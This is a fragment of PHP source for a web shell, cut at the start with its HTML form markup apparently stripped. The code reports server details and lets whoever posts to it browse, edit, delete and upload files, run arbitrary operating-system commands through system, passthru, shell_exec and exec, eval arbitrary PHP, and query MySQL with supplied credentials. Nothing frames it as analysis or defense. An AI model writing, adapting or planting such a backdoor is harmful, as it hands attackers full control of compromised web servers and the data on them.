"; echo "DiskSpaceFree ".diskfreespace(getcwd())."
"; if (function_exists("mysql_connect")) { echo "My_SQL ON
"; } else { echo "My_SQL OFF
"; } if (function_exists("curl_version")) { echo "cURL ON
"; } else { echo "cURL OFF
"; } echo "Magic_Quotes ".get_magic_quotes_gpc()."
"; echo $_SERVER["HTTP_HOST"]."
"; echo php_uname()."
"; echo getenv("SERVER_SOFTWARE")."
"; echo phpversion()."
"; $diratt = realpath($_POST["dir"]); echo "
"; echo "
"; echo "
"; echo form("eval", "eval", "Eval"); echo form("phpinfo", "phpinfo", "Phpinfo"); echo form("mysql", "mysql", "Mysql"); if (isset($_POST["edit"])) { $filedir = $_POST["edit"]; $filedit = file_get_contents($filedir); echo "

File name:
"; } if ($dirfile = opendir($diratt)) { while (false !== ($filedir = readdir($dirfile))) { $filesiz = sprintf("%01.2f", filesize("$diratt/$filedir")/1024); $groupid = posix_getpwuid(fileowner("$diratt/$filedir")); $groupinfo = posix_getgrgid(filegroup("$diratt/$filedir")); $ow = $groupid[name] ." ". $groupinfo[name]; $info = get_perms("$diratt/$filedir"); if ($filedir != "." && $filedir != "..") { if (is_file("$diratt/$filedir")) { echo "
$filedir$ow$info$filesiz K
"; } else { echo "
$filedir$ow$info
"; } } } } echo formsub("edit", "Edit"); echo formsub("delete", "Delete"); echo formsub("makefile", "Makefile"); echo formsub("makedir", "Makedir"); if (isset($_POST["savetest"]) && isset($_POST["save"])) { $testnew = $_POST["savetest"]; $filedir = $_POST["save"]; $fail = fopen($filedir, "w+"); fwrite($fail, $testnew); fclose($fail); } $comand = $_POST["comandexe"]; $method = $_POST["command"]; if (isset($comand) && isset($method)) { if ($method == "system") { echo system($comand); } else if ($method == "passthru") { echo passthru($comand); } else if ($method == "shell_exec") { shell_exec($comand); } else if ($method == "exec") { echo exec($comand); } } if (isset($_POST["delete"])) { $filedir = $_POST["delete"]; echo "
Delete file:
"; if (isset($_POST["yes"]) && isset($_POST["delete"])) { chmod($filedir, 0777); unlink($filedir); } } if (isset($_POST["makefile"])) { $namefile = $_POST["makefile"]; echo "

"; } if (isset($_POST["savetest"])) { $testnew = $_POST["savetest"]; $filedir = $_POST["makefile"]; $fail = fopen($filedir, "w+"); fwrite($fail, $testnew); fclose($fail); } if (isset($_POST["makedir"])) { $makedir = $_POST["makedir"]; mkdir($makedir); } $switch = $_POST["tools"]; if ($_POST["send"]) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $diratt."/".$_FILES["file"]["name"])) { unset($_FILES["file"]["tmp_name"]); } } switch ($switch) { case "phpinfo": phpinfo(); break; case "eval": echo "

"; if (isset($_POST["evaltext"])) { $evals = $_POST["evaltext"]; eval($evals); } break; case "mysql": echo "




"; $name = $_POST["name"]; $password = $_POST["password"]; $namedb = $_POST["namedb"]; $query = $_POST["query"]; if (isset($name) && isset($password) && isset($namedb) && isset($query)) { $connect = mysql_connect("localhost", $name, $password); $databselect = mysql_select_db($namedb, $connect); $selquery = mysql_query($query, $connect); while ($result = @mysql_fetch_array($selquery)) { echo "$result[0]
"; } } break; } function formsub($valuefrist, $valuesecond) { $riturn = "
"; return $riturn; } function form($name, $value, $nvalue) { $ret = "
"; return $ret; } function get_perms($filedir) //PHP.net { $perms = @fileperms($filedir); if($perms==false) return false; $info=''; // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ): (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ): (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ): (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>